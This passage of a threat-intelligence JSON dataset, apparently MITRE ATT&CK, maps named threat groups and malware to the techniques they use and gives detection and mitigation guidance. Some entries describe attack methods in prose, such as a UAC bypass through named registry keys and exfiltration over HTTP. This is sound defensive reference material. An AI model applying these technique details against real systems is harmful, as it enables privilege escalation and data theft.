2021."}],"modified":"2021-03-04T14:37:25.217Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used the Exchange Power Shell module Set-OabVirtualDirectoryPowerShell to export mailbox data.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a164dce2-be0a-487b-bbe4-185843d36c6f","type":"relationship","created":"2021-07-30T21:03:08.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-07-30T21:03:08.959Z","description":"[Clop](https://attack.mitre.org/software/S0611) can use cmd.exe to help execute commands on the system.(Citation: Cybereason Clop Dec 2020) ","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a16a3223-06a6-453d-b044-f683bda1bf2a","created":"2024-07-30T14:08:50.979Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:08:50.979Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered a PowerShell script capable of recursively scanning victim machines looking for various file types before exfiltrating identified files via HTTP.(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a16da3e1-c81e-4565-a78f-607cb937010b","created":"2019-06-05T17:31:22.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"},{"source_name":"TrendMicro BKDR_URSNIF.SM","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.894Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used [Reg](https://attack.mitre.org/software/S0075) to query the Registry for installed programs.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro BKDR_URSNIF.SM)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a16f5b08-63b8-41e0-82e2-0c0772c1cfea","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a17442af-783f-4d6d-a52e-21b9bd784173","created":"2022-10-19T17:39:57.189Z","revoked":false,"external_references":[{"source_name":"crowdstrike bpf socket filters","description":"Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.","url":"https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T17:39:57.189Z","description":"Monitor recently started applications creating raw socket connections.(Citation: crowdstrike bpf socket filters)","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1748457-30d7-419a-9087-9e2bdaae8d68","created":"2024-03-29T04:34:05.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T04:38:20.759Z","description":"Monitor for newly constructed files, especially unknown .NET assemblies and configuration files in user writable folder paths.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a17d1fee-c44e-4e38-85be-68e7dff9d69c","created":"2020-10-30T20:14:36.036Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."},{"source_name":"ThreatConnect Kimsuky September 2020","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has obfuscated binary strings including the use of XOR encryption and Base64 encoding.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019) [Kimsuky](https://attack.mitre.org/groups/G0094) has also modified the first byte of DLL implants targeting victims to prevent recognition of the executable file format.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-18T14:46:32.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a17eaa6b-8ef7-459e-a2e7-2d25e767370e","created":"2023-06-14T17:09:26.482Z","revoked":false,"external_references":[{"source_name":"netlab360 rotajakiro vs oceanlotus","description":"Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-14T17:09:26.482Z","description":"(Citation: netlab360 rotajakiro vs oceanlotus)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab","type":"relationship","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2019-03-22T18:44:28.657Z","description":"(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1844dc2-a809-4413-8509-e8d4b54882a5","type":"relationship","created":"2021-10-04T16:09:13.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-19T13:37:31.194Z","description":"Consider periodic review of auditpol settings for Administrator accounts and perform dynamic baselining on SIEM(s) to investigate potential malicious activity. Also ensure that the EventLog service and its threads are properly running.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1862cc9-ba25-4d48-b2d5-55781dd1fa3e","type":"relationship","created":"2021-02-08T23:18:31.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.896Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can suppress UAC prompts by setting the HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command registry key on Windows 10 or HKCU\\Software\\Classes\\mscfile\\shell\\open\\command on Windows 7 and launching the eventvwr.msc process, which launches [BitPaymer](https://attack.mitre.org/software/S0570) with elevated privileges.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a18968c2-e639-40fa-9751-1a5ab666bfde","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Track the deployment of new containers, especially from newly built images.","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a18e4022-0cfd-4ee0-b851-bec3b426315a","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:26:41.142Z","description":"Monitor for processes that can be used to enumerate user accounts and groups such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\n \nInformation may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a18f1ae0-dbc8-4f6d-9c88-ab284ce2bf0c","type":"relationship","created":"2020-03-17T02:55:47.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:02.405Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has used FTP for C2 connections.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a18f1daf-1eed-4e33-8107-76f136925742","created":"2022-08-22T20:47:21.282Z","x_mitre_version":"0.1","external_references":[{"source_name":"BlackHat API Packers","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf","description":"Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitoring module loads, especially those not explicitly included in import tables, may highlight obfuscated API function calls. Dynamic malware analysis may also expose signs of function obfuscation, such as memory reads that correspond to addresses of API function code within modules.(Citation: BlackHat API Packers)","modified":"2022-08-23T18:18:16.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a19231c9-e6b4-4d3f-9c9d-f4e85cba5e3a","created":"2022-04-05T19:54:50.810Z","x_mitre_version":"0.1","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) can download additional plugins, files, and tools.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T19:54:50.810Z","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1956344-1a2d-4193-bb20-0f65c98776fe","type":"relationship","created":"2020-05-26T16:17:59.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-15T19:59:06.592Z","description":"[Rocke](https://attack.mitre.org/groups/G0106)'s miner has created UPX-packed files in the Windows Start Menu Folder.(Citation: Talos Rocke August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a195cd11-43dc-4ad8-a48d-a1c705bb8b90","type":"relationship","created":"2021-03-08T18:27:58.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-08T18:27:58.782Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used a payload that creates a hidden window.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a19d3dcf-29a2-4e3f-9138-55dc8ace1ee5","type":"relationship","created":"2020-03-28T01:37:57.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:50.947Z","description":"Network segmentation can be used to isolate infrastructure components that do not require broad network access. This may mitigate, or at least alleviate, the scope of AiTM activity.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1a39cf1-dd69-4110-beac-77bf7acd0c62","type":"relationship","created":"2020-03-13T20:26:46.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:26:46.789Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1a3f507-83ce-4895-8ab6-45d55ce1f790","created":"2024-09-17T16:19:45.638Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:19:45.638Z","description":"[TA577](https://attack.mitre.org/groups/G1037) has used BAT files in malware execution chains.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1b1aaab-021e-4d2e-9c3b-eaac41833a4e","created":"2022-01-09T22:14:54.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.681Z","description":"[Zox](https://attack.mitre.org/software/S0672) has the ability to upload files from a targeted system.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1b3d8e0-7de9-47f8-b8b0-727a4ece3f8a","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for changes made to windows registry keys or values for unexpected modifications","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1bf0891-8780-487a-b6f0-55af6520cc8e","created":"2023-07-24T20:36:12.466Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-24T20:36:12.466Z","description":"Monitor for newly constructed WMI objects that is often used to log into a service that accepts remote connects. ","relationship_type":"detects","source_ref":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1c0db19-e187-480b-85d4-6e5672480d33","type":"relationship","created":"2021-09-15T14:37:10.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-09-15T14:37:10.659Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used HTTPS for command and control.(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1c31042-ca50-4bcc-bd05-20eb48c655ef","type":"relationship","created":"2021-04-27T01:47:15.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-04-27T01:47:15.612Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can upload files over the C2 channel.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1c62ce5-2f11-415f-bca1-c9021530c090","created":"2019-02-21T21:17:37.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T18:09:58.122Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has utilized custom scripts to perform internal reconnaissance.(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a1c93044-e51b-483b-88d9-1e22e394a6dd","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the 